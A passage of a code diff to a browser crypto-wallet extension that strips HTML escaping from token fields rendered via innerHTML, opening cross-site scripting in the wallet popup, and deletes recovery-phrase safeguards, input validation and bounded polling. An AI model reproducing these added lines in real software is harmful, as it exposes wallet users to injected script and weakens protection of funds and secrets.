     $("settings-hide-low-holders").addEventListener("change", async () => {
         state.hideLowHolderTokens = $("settings-hide-low-holders").checked;
@@ -331,18 +304,11 @@ function init(ctx) {
 
     $("settings-dust-threshold").value = state.dustThresholdGwei;
     $("settings-dust-threshold").addEventListener("change", async () => {
-        const val = parseDustThresholdGwei($("settings-dust-threshold").value);
-        // Rejected input is never coerced. The field is put back to the
-        // stored threshold so it never shows a value the wallet is not
-        // using, and the message says what the field wants so the snap-back
-        // is explained rather than silent.
-        if (val === null) {
-            showFlash(DUST_THRESHOLD_MESSAGE);
-        } else {
+        const val = parseInt($("settings-dust-threshold").value, 10);
+        if (!isNaN(val) && val >= 0) {
             state.dustThresholdGwei = val;
             await saveState();
         }
-        $("settings-dust-threshold").value = state.dustThresholdGwei;
     });
 
     $("settings-utc-timestamps").checked = state.utcTimestamps;

src/popup/views/settingsAddToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
+const { $, showView, showFlash, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
                 : "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
             return (
                 `<button class="settings-addtoken-quick ${cls}"` +
-                ` data-address="${escapeHtml(t.address)}"` +
-                ` data-symbol="${escapeHtml(t.symbol)}"` +
-                ` data-decimals="${escapeHtml(t.decimals)}"` +
-                ` data-name="${escapeHtml(t.name || "")}"` +
-                `${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
+                ` data-address="${t.address}"` +
+                ` data-symbol="${t.symbol}"` +
+                ` data-decimals="${t.decimals}"` +
+                ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
+                `${tracked ? " disabled" : ""}>${t.symbol}</button>`
             );
         })
         .join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
         const tracked = isTracked(t.address);
         const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
         html +=
-            `<option value="${escapeHtml(t.address)}"` +
-            ` data-symbol="${escapeHtml(t.symbol)}"` +
-            ` data-decimals="${escapeHtml(t.decimals)}"` +
-            ` data-name="${escapeHtml(t.name || "")}"` +
-            `${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
+            `<option value="${t.address}"` +
+            ` data-symbol="${t.symbol}"` +
+            ` data-decimals="${t.decimals}"` +
+            ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
+            `${tracked ? " disabled" : ""}>${label}</option>`;
     }
     sel.innerHTML = html;
 }
@@ -133,11 +133,7 @@ function init(_ctx) {
         infoEl.style.visibility = "visible";
         log.debugf("Looking up token contract", addr);
         try {
-            const info = await lookupTokenInfo(
-                addr,
-                state.rpcUrl,
-                state.networkId,
-            );
+            const info = await lookupTokenInfo(addr, state.rpcUrl);
             log.infof("Adding token", info.symbol, addr);
             state.trackedTokens.push({
                 address: addr,

src/popup/views/showPhrase.js

@@ -1,154 +0,0 @@
-// Recovery phrase display for HD wallets.
-//
-// The phrase is the secret that owns every address in the wallet, so it is
-// handled under four rules:
-//
-//   1. Only an HD wallet reaches this screen (walletHasRecoveryPhrase).
-//   2. Nothing is decrypted, and nothing is written into the DOM, until
-//      decryptWithPassword has accepted the password.
-//   3. Leaving the screen by any path wipes it, via the onViewLeave hook,
-//      and a decrypt still in flight when that happens is discarded
-//      instead of written (revealGeneration).
-//   4. The phrase never reaches the logger. This module deliberately does
-//      not import src/shared/log.js, and the failed-decrypt path reports a
-//      fixed sentence rather than the caught error.
-//
-// The phrase is also never assigned to `state`, so it cannot be persisted
-// to extension storage, and "show-phrase" is excluded from RESTORABLE_VIEWS
-// so the popup can never reopen onto it.
-
-const {
-    $,
-    showView,
-    showFlash,
-    flashCopyFeedback,
-    goBack,
-    onViewLeave,
-    pushCurrentView,
-} = require("./helpers");
-const { state } = require("../../shared/state");
-const { decryptWithPassword } = require("../../shared/vault");
-const { walletHasRecoveryPhrase } = require("../../shared/wallet");
-
-const VIEW = "show-phrase";
-
-let walletIndex = null;
-
-// Bumped by every clear(), which is what leaving the screen runs. reveal()
-// captures it before awaiting the decrypt and refuses to touch the DOM if
-// it has moved: a decrypt still in flight when the screen is left would
-// otherwise write the phrase *after* the wipe, with nothing scheduled to
-// wipe it again, leaving it in the hidden view for the life of the popup.
-let revealGeneration = 0;
-
-// True only if the reveal that captured `generation` is still the live one:
-// the screen has not been left, cleared, or re-entered for another wallet
-// since it started.
-function isCurrentReveal(generation) {
-    return (
-        generation === revealGeneration &&
-        walletIndex !== null &&
-        state.currentView === VIEW
-    );
-}
-
-function fail(message) {
-    $("show-phrase-flash").textContent = message;
-    $("show-phrase-flash").style.visibility = "visible";
-}
-
-// Wipe every trace of the phrase and drop the wallet selection. Safe to
-// call when nothing was ever revealed, and safe to call twice.
-function clear() {
-    walletIndex = null;
-    revealGeneration += 1;
-    $("show-phrase-value").textContent = "";
-    $("show-phrase-password").value = "";
-    $("show-phrase-result").classList.add("hidden");
-    $("show-phrase-password-section").classList.remove("hidden");
-    $("show-phrase-flash").textContent = "";
-    $("show-phrase-flash").style.visibility = "hidden";
-}
-
-function show(walletIdx) {
-    const wallet = state.wallets[walletIdx];
-    if (!walletHasRecoveryPhrase(wallet)) {
-        showFlash("This wallet does not have a recovery phrase.");
-        return;
-    }
-    clear();
-    walletIndex = walletIdx;
-    $("show-phrase-wallet-name").textContent =
-        wallet.name || "Wallet " + (walletIdx + 1);
-    // Pushed here rather than by the caller: this function can return
-    // without navigating, and a push that happened anyway would leave an
-    // entry on the stack that no screen transition matches.
-    pushCurrentView();
-    showView(VIEW);
-}
-
-async function reveal() {
-    const password = $("show-phrase-password").value;
-    if (!password) {
-        fail("Please enter your password.");
-        return;
-    }
-    if (walletIndex === null) {
-        fail("No wallet is selected.");
-        return;
-    }
-    const wallet = state.wallets[walletIndex];
-    if (!walletHasRecoveryPhrase(wallet)) {
-        fail("This wallet does not have a recovery phrase.");
-        return;
-    }
-
-    const btn = $("btn-show-phrase-reveal");
-    btn.disabled = true;
-    btn.classList.add("text-muted");
-    const generation = revealGeneration;
-    try {
-        const phrase = await decryptWithPassword(
-            wallet.encryptedSecret,
-            password,
-        );
-        // The only suspension point in this view, and the only place a
-        // secret is written: if the screen was left while the decrypt ran,
-        // the wipe has already happened and this write must not land.
-        if (!isCurrentReveal(generation)) return;
-        $("show-phrase-password").value = "";
-        $("show-phrase-password-section").classList.add("hidden");
-        $("show-phrase-value").textContent = phrase;
-        $("show-phrase-result").classList.remove("hidden");
-        $("show-phrase-flash").textContent = "";
-        $("show-phrase-flash").style.visibility = "hidden";
-    } catch {
-        if (!isCurrentReveal(generation)) return;
-        // Deliberately not the caught error: the message is fixed so that
-        // nothing derived from the ciphertext or the attempt can surface.
-        fail("That password is incorrect. Please try again.");
-    } finally {
-        btn.disabled = false;
-        btn.classList.remove("text-muted");
-    }
-}
-
-function init() {
-    onViewLeave(VIEW, clear);
-
-    $("btn-show-phrase-back").addEventListener("click", () => {
-        goBack();
-    });
-
-    $("btn-show-phrase-reveal").addEventListener("click", reveal);
-
-    $("show-phrase-value").addEventListener("click", () => {
-        const phrase = $("show-phrase-value").textContent;
-        if (!phrase) return;
-        navigator.clipboard.writeText(phrase);
-        showFlash("Copied!");
-        flashCopyFeedback($("show-phrase-value"));
-    });
-}
-
-module.exports = { init, show };

src/popup/views/stateRecovery.js

@@ -1,197 +0,0 @@
-// The screen the popup shows when it cannot read the stored profile.
-//
-// Everything else in the popup assumes a loaded profile: showView() reads and
-// writes the state singleton, every view renders from it, and the Settings
-// gear leads to a screen that does both. None of that is available here — by
-// the time this runs, loadState() has REFUSED, deliberately, and reading the
-// singleton throws (https://git.eeqj.de/sneak/AutistMask/issues/311).
-//
-// So this module talks to the DOM directly and touches no state at all. It is
-// the one screen that must work when nothing else can, which is also why it
-// takes no ctx and needs no init(): whatever the rest of the popup did or did
-// not manage to wire up, this shows.
-//
-// Two controls, and both are required. An export with no reset leaves the user
-// looking at their broken profile with no way to use the wallet again; a reset
-// with no export destroys the only copy of a record that may hold key material
-// a later build could read. So the export is offered first, in the page where
-// it cannot fail, and the reset is behind a typed confirmation.
-
-// $ and VIEWS only: nothing else in helpers is safe here, since showView() and
-// everything under it read the state singleton. $ is taken from there rather
-// than written again locally so that tests/popupElementIds.test.js sees these
-// lookups and holds every id below against the markup.
-const { $, VIEWS } = require("./helpers");
-const { storageGet, storageRemove } = require("../../shared/browserApi");
-const { log } = require("../../shared/log");
-
-// Typed in full before anything is erased, in the same spirit as the wallet
-// name on DeleteWalletLostPassword: this button destroys key material and
-// there is no password in front of it, because there is no profile to check a
-// password against. Compared case-insensitively — the phrase is the barrier,
-// not the shift key.
-const RESET_PHRASE = "ERASE MY WALLET";
-
-let wired = false;
-
-function setFlash(message) {
-    const node = $("state-recovery-flash");
-    node.textContent = message;
-    node.style.visibility = message ? "visible" : "hidden";
-}
-
-// The stored record exactly as storage hands it back, however malformed, with
-// no normalization, no defaulting and no repair on it: this is evidence, and
-// the point of the export is that a later build (or a human) sees what is
-// actually there. It is not the raw bytes — storage deserializes, and
-// exportRecord() re-serializes with JSON.stringify — so a value JSON cannot
-// represent is the one thing that does not survive the trip. See there.
-async function rawRecord() {
-    const result = await storageGet("autistmask");
-    return result.autistmask;
-}
-
-// Best effort, and never the only route. A download from an extension popup
-// depends on the browser, the popup staying open long enough, and the
-// extension's content security policy; the textarea below depends on none of
-// those, and is filled first.
-function offerDownload(text) {
-    try {
-        if (
-            typeof Blob !== "function" ||
-            typeof URL === "undefined" ||
-            typeof URL.createObjectURL !== "function"
-        ) {
-            return false;
-        }
-        const url = URL.createObjectURL(
-            new Blob([text], { type: "application/json" }),
-        );
-        const link = document.createElement("a");
-        link.href = url;
-        link.download = "autistmask-saved-data.json";
-        link.click();
-        // Revoked in a later task, not in this one: the download is started
-        // from the click and revoking the URL in the same turn can cancel it
-        // before it has been read. If the popup closes first the URL dies with
-        // the document anyway.
-        if (typeof URL.revokeObjectURL === "function") {
-            setTimeout(() => URL.revokeObjectURL(url), 0);
-        }
-        return true;
-    } catch (e) {
-        log.errorf("state recovery: download failed:", e);
-        return false;
-    }
-}
-
-// Residual, stated rather than left to be discovered: structured-clone storage
-// holds values JSON does not have, and no build here writes one, but the export
-// is a funds-recovery path and what it cannot carry has to be written down.
-//
-// Loud: JSON.stringify THROWS on a reference cycle or a BigInt. That lands in
-// the catch below, so the export fails entirely and erase is the only control
-// left on the screen.
-//
-// Silent, and the worse of the two, because the box then looks complete:
-// a Date becomes its ISO string, a Map or a Set becomes {}, a property whose
-// value is undefined is dropped from the output entirely, and NaN and
-// ±Infinity become null. Nothing here can serialize any of it faithfully;
-// recovering such a record needs the browser's own storage inspector.
-async function exportRecord() {
-    let text;
-    try {
-        const record = await rawRecord();
-        text = JSON.stringify(record === undefined ? null : record, null, 2);
-    } catch (e) {
-        log.errorf("state recovery: export failed:", e);
-        setFlash(
-            "The saved data could not be read out of storage. Nothing has" +
-                " been changed.",
-        );
-        return;
-    }
-    // JSON.stringify answers undefined for a value it cannot represent, and
-    // an empty box would read as "there was nothing there".
-    if (typeof text !== "string") text = String(text);
-
-    const box = $("state-recovery-blob");
-    box.value = text;
-    box.classList.remove("hidden");
-    const downloaded = offerDownload(text);
-    setFlash(
-        downloaded
-            ? "Saved data downloaded, and shown below. Keep a copy before" +
-                  " erasing anything."
-            : "Saved data shown below. Copy it and keep it before erasing" +
-                  " anything.",
-    );
-}
-
-async function resetProfile() {
-    const typed = $("state-recovery-reset-input").value || "";
-    if (typed.trim().toUpperCase() !== RESET_PHRASE) {
-        setFlash("Type " + RESET_PHRASE + " to confirm. Nothing was erased.");
-        return;
-    }
-    try {
-        await storageRemove("autistmask");
-    } catch (e) {
-        log.errorf("state recovery: reset failed:", e);
-        setFlash("The saved data could not be erased. Nothing was changed.");
-        return;
-    }
-    setFlash("Saved data erased. AutistMask is starting fresh.");
-    // Back to a first run, which is what the wallet now is. A popup that
-    // cannot reload says so rather than sitting on a screen describing a
-    // profile that no longer exists.
-    if (
-        typeof window !== "undefined" &&
-        window.location &&
-        typeof window.location.reload === "function"
-    ) {
-        window.location.reload();
-        return;
-    }
-    setFlash("Saved data erased. Close and reopen AutistMask.");
-}
-
-function wire() {
-    if (wired) return;
-    wired = true;
-    $("btn-state-recovery-export").addEventListener("click", exportRecord);
-    $("btn-state-recovery-reset").addEventListener("click", resetProfile);
-}
-
-/**
- * Show the recovery screen, naming `problem`.
- *
- * @param {Error|string} problem the StateUnusableError from the read that
- *     refused, or its sentence.
- */
-function show(problem) {
-    const sentence =
-        (problem && (problem.problem || problem.message)) || String(problem);
-
-    // Not showView(): that reads and writes the singleton this screen exists
-    // because nothing could load.
-    for (const view of VIEWS) {
-        const node = document.getElementById("view-" + view);
-        if (node) node.classList.add("hidden");
-    }
-    // The one global control, and it leads to a screen that renders from the
-    // profile. There is nowhere to go from here but out.
-    const gear = $("btn-settings");
-    if (gear) gear.classList.add("hidden");
-
-    $("state-recovery-problem").textContent = sentence;
-    $("state-recovery-blob").value = "";
-    $("state-recovery-blob").classList.add("hidden");
-    $("state-recovery-reset-input").value = "";
-    setFlash("");
-    wire();
-    $("view-state-recovery").classList.remove("hidden");
-    log.errorf("state is unusable, showing the recovery screen:", sentence);
-}
-
-module.exports = { show, RESET_PHRASE };

src/popup/views/transactionDetail.js

@@ -15,16 +15,16 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
-    explorerUrl,
-    displaySymbol,
     goBack,
 } = require("./helpers");
-const { state } = require("../../shared/state");
+const { state, currentNetwork } = require("../../shared/state");
 const { formatEther, formatUnits } = require("ethers");
 const makeBlockie = require("ethereum-blockies-base64");
 const { log, debugFetch } = require("../../shared/log");
 const { decodeCalldata } = require("./approval");
 
+let ctx;
+
 /**
  * Determine a human-readable transaction type string from tx fields.
  */
@@ -46,7 +46,7 @@ function getTransactionType(tx) {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function txAddressHtml(address, ensName, title) {
@@ -58,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
 }
 
 function txHashHtml(hash) {
-    const link = explorerUrl("tx", hash);
+    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
     const extLink = etherscanLinkHtml(link);
     return copyableHtml(hash, "break-all") + extLink;
 }
@@ -103,10 +103,9 @@ function render() {
     $("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
 
     // Exact amount (full precision, copyable)
-    const detailSym = displaySymbol(tx.symbol);
     const exactStr = tx.exactValue
-        ? tx.exactValue + " " + detailSym
-        : tx.directionLabel + " " + detailSym;
+        ? tx.exactValue + " " + tx.symbol
+        : tx.directionLabel + " " + tx.symbol;
     $("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
 
     // Native quantity (raw integer, copyable)
@@ -136,7 +135,7 @@ function render() {
     if (tokenContractSection && tokenContractEl) {
         if (tx.contractAddress) {
             const dot = addressDotHtml(tx.contractAddress);
-            const link = explorerUrl("token", tx.contractAddress);
+            const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
             tokenContractEl.innerHTML =
                 `<div class="flex items-center">${dot}` +
                 copyableHtml(tx.contractAddress, "break-all") +
@@ -167,7 +166,7 @@ function render() {
         if (el) el.classList.add("hidden");
     }
 
-    loadFullTxDetails(tx.hash, tx.to);
+    loadFullTxDetails(tx.hash, tx.to, tx.isContractCall);
 
     const isoStr = isoDate(tx.timestamp);
     $("tx-detail-time").innerHTML =
@@ -188,7 +187,7 @@ function showDetailField(sectionId, contentId, value) {
 function populateOnChainDetails(txData) {
     // Block number
     if (txData.block_number != null) {
-        const blockLink = explorerUrl("block", String(txData.block_number));
+        const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
         const blockSection = $("tx-detail-block-section");
         const blockEl = $("tx-detail-block");
         if (blockSection && blockEl) {
@@ -275,7 +274,7 @@ function populateOnChainDetails(txData) {
     }
 }
 
-async function loadFullTxDetails(txHash, toAddress) {
+async function loadFullTxDetails(txHash, toAddress, isContractCall) {
     const section = $("tx-detail-calldata-section");
     const actionEl = $("tx-detail-calldata-action");
     const detailsEl = $("tx-detail-calldata-details");
@@ -312,7 +311,7 @@ async function loadFullTxDetails(txHash, toAddress) {
                     // Token entry: show symbol on its own line, then address via shared renderer
                     const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
                     if (tokenSymbol) {
-                        detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
+                        detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
                     }
                     detailsHtml += renderAddressHtml(d.address);
                 } else if (d.address) {
@@ -350,9 +349,8 @@ async function loadFullTxDetails(txHash, toAddress) {
     }
 }
 
-// The ctx this view is initialized with is unused: this module is the leaf of
-// the navigation, and the other views reach it through their own ctx.
 function init(_ctx) {
+    ctx = _ctx;
     $("btn-tx-back").addEventListener("click", () => {
         goBack();
     });

src/popup/views/txStatus.js

@@ -9,45 +9,18 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
-    explorerUrl,
-    displaySymbol,
     clearViewStack,
 } = require("./helpers");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
-const { state } = require("../../shared/state");
+const { state, saveState, currentNetwork } = require("../../shared/state");
 const { getProvider } = require("../../shared/balances");
 const { log } = require("../../shared/log");
 
-// Receipt poll cadence and the deadline after which the wait is reported as
-// a timeout. Both are documented in the WaitTx section of README.md.
-const POLL_INTERVAL_MS = 10000;
-const TIMEOUT_MS = 60000;
-
-// How many receipt lookups may fail in a row before the wait is ended and
-// the failure reported. A lookup that throws says nothing about the
-// transaction, so one must not end the wait — but an RPC that never answers
-// (a mistyped URL in settings is the ordinary case) must not leave the wait
-// running forever either, least of all a persisted one that every popup
-// open would resume. Six is 60 seconds at the poll cadence: the same
-// patience the confirmation deadline gets. Any lookup that answers, with a
-// receipt or with null, resets the count.
-const MAX_CONSECUTIVE_LOOKUP_FAILURES = 6;
-
 let ctx;
 let elapsedTimer = null;
 let pollTimer = null;
 
-// Identifies the wait currently on screen. Bumped by endWait(), so a timer
-// callback or an in-flight receipt lookup that outlives its wait can tell
-// that it is stale and leave the current view alone. Without it, a receipt
-// resolving after the wait has ended renders over whatever view replaced it.
-let waitId = 0;
-
-// End the wait on screen: stop its timers and invalidate its pending async
-// work. Called on receipt, on timeout, when a new wait starts, and when the
-// user navigates away.
-function endWait() {
-    waitId++;
+function clearTimers() {
     if (elapsedTimer) {
         clearInterval(elapsedTimer);
         elapsedTimer = null;
@@ -64,162 +37,62 @@ function toAddressHtml(address) {
 }
 
 function txHashHtml(hash) {
-    const link = explorerUrl("tx", hash);
+    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
     return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
 }
 
 function blockNumberHtml(blockNumber) {
     const num = String(blockNumber);
-    const link = explorerUrl("block", num);
+    const link = `${currentNetwork().explorerUrl}/block/${num}`;
     return copyableHtml(num) + etherscanLinkHtml(link);
 }
 
-// Render the wait view and start polling for the receipt. broadcastTime is
-// when the transaction was broadcast, which is what the elapsed counter and
-// the timeout deadline are both measured from; pollNow runs one lookup
-// immediately instead of waiting a full poll interval.
-function startWait(txInfo, txHash, broadcastTime, pollNow) {
-    endWait();
-    const id = waitId;
+function showWait(txInfo, txHash) {
+    clearTimers();
 
-    const symbol =
-        txInfo.token === "ETH"
-            ? "ETH"
-            : displaySymbol(txInfo.tokenSymbol || "?");
+    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
     $("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
     $("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
     $("wait-tx-hash").innerHTML = txHashHtml(txHash);
     attachCopyHandlers("view-wait-tx");
 
-    // Persisted so closing and reopening the popup resumes this wait
-    // instead of silently abandoning it.
-    state.viewData = {
-        pendingWait: {
-            txInfo: txInfo,
-            hash: txHash,
-            broadcastTime: broadcastTime,
-        },
-    };
+    const broadcastTime = Date.now();
+    $("wait-tx-status").textContent = "Waiting for confirmation... 0s";
 
-    function renderElapsed() {
+    elapsedTimer = setInterval(() => {
         const elapsed = Math.floor((Date.now() - broadcastTime) / 1000);
         $("wait-tx-status").textContent =
             "Waiting for confirmation... " + elapsed + "s";
-    }
-    renderElapsed();
-
-    elapsedTimer = setInterval(() => {
-        if (id !== waitId) return;
-        renderElapsed();
     }, 1000);
 
-    const provider = getProvider(state.rpcUrl, state.networkId);
-    let consecutiveFailures = 0;
-
-    async function poll() {
-        if (id !== waitId) return;
-        let receipt = null;
-        let answered = true;
+    const provider = getProvider(state.rpcUrl);
+    pollTimer = setInterval(async () => {
         try {
-            receipt = await provider.getTransactionReceipt(txHash);
+            const receipt = await provider.getTransactionReceipt(txHash);
+            if (receipt) {
+                showSuccess(txInfo, txHash, receipt.blockNumber);
+            }
         } catch (e) {
-            // A thrown lookup means "no answer this tick", not "no
-            // receipt": the RPC failed, the chain said nothing. Declaring
-            // the timeout off it would report a confirmed transaction as
-            // failed — which matters most on a resumed wait, where the
-            // first poll is already past the deadline.
-            answered = false;
             log.errorf("poll receipt failed:", e.message);
         }
-        // The lookup is async: the wait may have ended while it was in
-        // flight, in which case this result must not touch the view.
-        if (id !== waitId) return;
-        // Exactly one outcome per wait. A receipt wins even on the tick
-        // that crosses the deadline, because the transaction did confirm.
-        if (receipt) {
-            showSuccess(txInfo, txHash, receipt.blockNumber);
-            return;
-        }
-        if (!answered) {
-            consecutiveFailures++;
-            // The failure is the user's news, and it is a different fact
-            // from "the transaction did not confirm" — the chain was never
-            // asked. Ending the wait here is what keeps it bounded and
-            // gives the user a Done button to leave by.
-            if (consecutiveFailures >= MAX_CONSECUTIVE_LOOKUP_FAILURES) {
-                showError(
-                    txInfo,
-                    txHash,
-                    "The network could not be reached to check this transaction — " +
-                        MAX_CONSECUTIVE_LOOKUP_FAILURES +
-                        " lookups failed in a row. Check the RPC URL in Settings. The transaction may still have confirmed — check Etherscan.",
-                );
-            }
-            // Otherwise keep polling: the next tick may answer.
-            return;
-        }
-        consecutiveFailures = 0;
-        if (Date.now() - broadcastTime >= TIMEOUT_MS) {
+
+        const elapsed = Math.floor((Date.now() - broadcastTime) / 1000);
+        if (elapsed >= 60) {
             showError(
                 txInfo,
                 txHash,
                 "Transaction was not confirmed within 60 seconds. It may still confirm later \u2014 check Etherscan.",
             );
         }
-    }
-
-    pollTimer = setInterval(poll, POLL_INTERVAL_MS);
+    }, 10000);
 
     showView("wait-tx");
-
-    if (pollNow) poll();
-}
-
-function showWait(txInfo, txHash) {
-    startWait(txInfo, txHash, Date.now(), false);
-}
-
-// Resume a wait persisted by a previous popup session. The deadline still
-// runs from the original broadcast, so a wait that has already outlived it
-// resolves on the immediate first poll rather than restarting the clock.
-// Returns false when there is nothing resumable to resume. Every field
-// startWait() goes on to use is validated, not just the presence of the
-// containers: txInfo.to reaches addressTitle(), which calls
-// address.toLowerCase(), and txInfo.amount is rendered into the summary, so
-// an object merely missing one of them throws a TypeError out of
-// restoreView() — which init() does not guard, skipping the rest of popup
-// init and leaving wait-tx on screen with no back control. A non-numeric
-// broadcastTime leaves an unexitable wait counting "NaNs". txInfo.token and
-// txInfo.tokenSymbol are deliberately unchecked: they are compared and
-// coalesced rather than dereferenced, and tokenSymbol is null for ETH.
-function restoreWait() {
-    const d = state.viewData;
-    if (!d || !d.pendingWait) return false;
-    const w = d.pendingWait;
-    if (!w.hash) return false;
-    // typeof [] is "object", so an array passes an object check.
-    const info = w.txInfo;
-    if (!info || typeof info !== "object" || Array.isArray(info)) return false;
-    // A string is the whole requirement: the empty string is what a
-    // contract-deployment approval persists (approval.js writes `to: toAddr
-    // || ""`), and both fields render harmlessly when empty, so refusing it
-    // would abandon a wait the live path itself created.
-    if (typeof info.to !== "string") return false;
-    if (typeof info.amount !== "string") return false;
-    if (typeof w.broadcastTime !== "number" || !isFinite(w.broadcastTime)) {
-        return false;
-    }
-    startWait(w.txInfo, w.hash, w.broadcastTime, true);
-    return true;
 }
 
 function showSuccess(txInfo, txHash, blockNumber) {
-    endWait();
+    clearTimers();
 
-    const symbol =
-        txInfo.token === "ETH"
-            ? "ETH"
-            : displaySymbol(txInfo.tokenSymbol || "?");
+    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,
@@ -237,6 +110,10 @@ function tokenLabel(address) {
     return t ? t.symbol : null;
 }
 
+function etherscanTokenLink(address) {
+    return `${currentNetwork().explorerUrl}/token/${address}`;
+}
+
 function decodedDetailsHtml(decoded) {
     if (!decoded || !decoded.details) return "";
     let html = `<div class="border border-border border-dashed p-2 mb-3">`;
@@ -305,12 +182,9 @@ function renderSuccess() {
 }
 
 function showError(txInfo, txHash, message) {
-    endWait();
+    clearTimers();
 
-    const symbol =
-        txInfo.token === "ETH"
-            ? "ETH"
-            : displaySymbol(txInfo.tokenSymbol || "?");
+    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,
@@ -344,9 +218,6 @@ function isApprovalPopup() {
 }
 
 function navigateBack() {
-    // Nothing should still be polling by now, but leaving a view is the
-    // point at which its timers must be gone.
-    endWait();
     if (isApprovalPopup()) {
         window.close();
         return;
@@ -371,12 +242,4 @@ function init(_ctx) {
     $("btn-error-tx-done").addEventListener("click", navigateBack);
 }
 
-module.exports = {
-    init,
-    showWait,
-    restoreWait,
-    endWait,
-    showError,
-    renderSuccess,
-    renderError,
-};
+module.exports = { init, showWait, showError, renderSuccess, renderError };

src/shared/alarms.js

@@ -1,134 +0,0 @@
-// Periodic scheduling for the background context.
-//
-// The Chrome MV3 service worker is terminated after roughly 30 seconds idle,
-// which takes every setInterval/setTimeout with it. The extension alarms API
-// is the mechanism that survives: the browser holds the schedule and wakes
-// the worker to deliver onAlarm. Firefox MV2 runs a persistent background
-// page where timers would survive, but alarms behave identically there, so
-// both targets share this path and both manifests declare the "alarms"
-// permission.
-//
-// Periods are whole minutes at or above the browser-enforced one-minute
-// minimum, so nothing here is silently clamped to a slower cadence.
-//
-// Trap for anyone changing a period: each job also carries a freshness guard
-// that can veto its own scheduled tick. A guard timed to the alarm period
-// halves the real cadence, because the guard is measured from when the last
-// run finished and the alarm fires one run-duration earlier than that. Every
-// guard must therefore either be strictly shorter than the period it gates or
-// be bypassed on the scheduled tick — see backgroundRefresh() in
-// src/background/index.js.
-
-const { alarmsApi } = require("./browserApi");
-
-const BALANCE_REFRESH_ALARM = "autistmask-balance-refresh";
-
-// Alarms this extension used to create and no longer has a handler for. A
-// browser keeps an alarm until something clears it, so a job that is deleted
-// from the code goes on waking the service worker on its old schedule forever,
-// on every install that ever ran the version which created it. Removing the job
-// means removing the alarm, so retired names are listed here and cleared on
-// every start until the installs that carry them are long gone.
-const OBSOLETE_ALARMS = [
-    // The 24-hour phishing blocklist refresh, retired when the runtime fetch
-    // was removed and the list became purely build-time vendored.
-    "autistmask-phishing-refresh",
-];
-
-const MIN_ALARM_PERIOD_MINUTES = 1;
-const BALANCE_REFRESH_PERIOD_MINUTES = 1;
-
-// alarmsApi() resolves on use rather than at module load: the worker is torn
-// down and re-evaluated repeatedly, and tests install a stub after requiring
-// this module. It returns null where the API is absent, which is why every
-// entry point below degrades instead of throwing.
-
-/**
- * Create an alarm unless one with the requested period already exists.
- *
- * The existence check is load-bearing: creating an alarm resets its schedule,
- * and this runs on every worker wake. Creating unconditionally would push the
- * next fire time out on every incoming message, so a busy extension would
- * never see the alarm fire at all.
- *
- * The period comparison is equally load-bearing in the other direction: an
- * alarm created by an older version keeps its old period forever unless a
- * changed constant re-creates it, so a period edit would never reach an
- * existing install. Re-creating on a period change happens once and then
- * settles into the existence check above.
- *
- * @param {string} name
- * @param {number} periodInMinutes
- * @returns {Promise<boolean>} true if the alarm was created by this call.
- */
-async function ensureAlarm(name, periodInMinutes) {
-    const api = alarmsApi();
-    if (!api) return false;
-    const period = Math.max(periodInMinutes, MIN_ALARM_PERIOD_MINUTES);
-    const existing = await api.get(name);
-    if (existing && existing.periodInMinutes === period) return false;
-    api.create(name, {
-        periodInMinutes: period,
-        delayInMinutes: period,
-    });
-    return true;
-}
-
-/**
- * Clear every alarm this extension no longer handles.
- *
- * @returns {Promise<string[]>} the retired alarms this call actually cleared.
- */
-async function clearObsoleteAlarms() {
-    const api = alarmsApi();
-    if (!api || !api.clear) return [];
-    const cleared = [];
-    for (const name of OBSOLETE_ALARMS) {
-        if (await api.clear(name)) cleared.push(name);
-    }
-    return cleared;
-}
-
-/**
- * Ensure the recurring background jobs are scheduled, and that retired ones are
- * not. Safe to call on every worker start, on onInstalled and on onStartup.
- *
- * @returns {Promise<{balance: boolean, cleared: string[]}>} which alarms this
- * call had to create, and which retired ones it removed.
- */
-async function ensureRecurringAlarms() {
-    const balance = await ensureAlarm(
-        BALANCE_REFRESH_ALARM,
-        BALANCE_REFRESH_PERIOD_MINUTES,
-    );
-    const cleared = await clearObsoleteAlarms();
-    return { balance, cleared };
-}
-
-/**
- * Register per-alarm handlers. One listener dispatches by alarm name so the
- * worker only ever installs a single onAlarm listener.
- *
- * @param {Object<string, function>} handlers
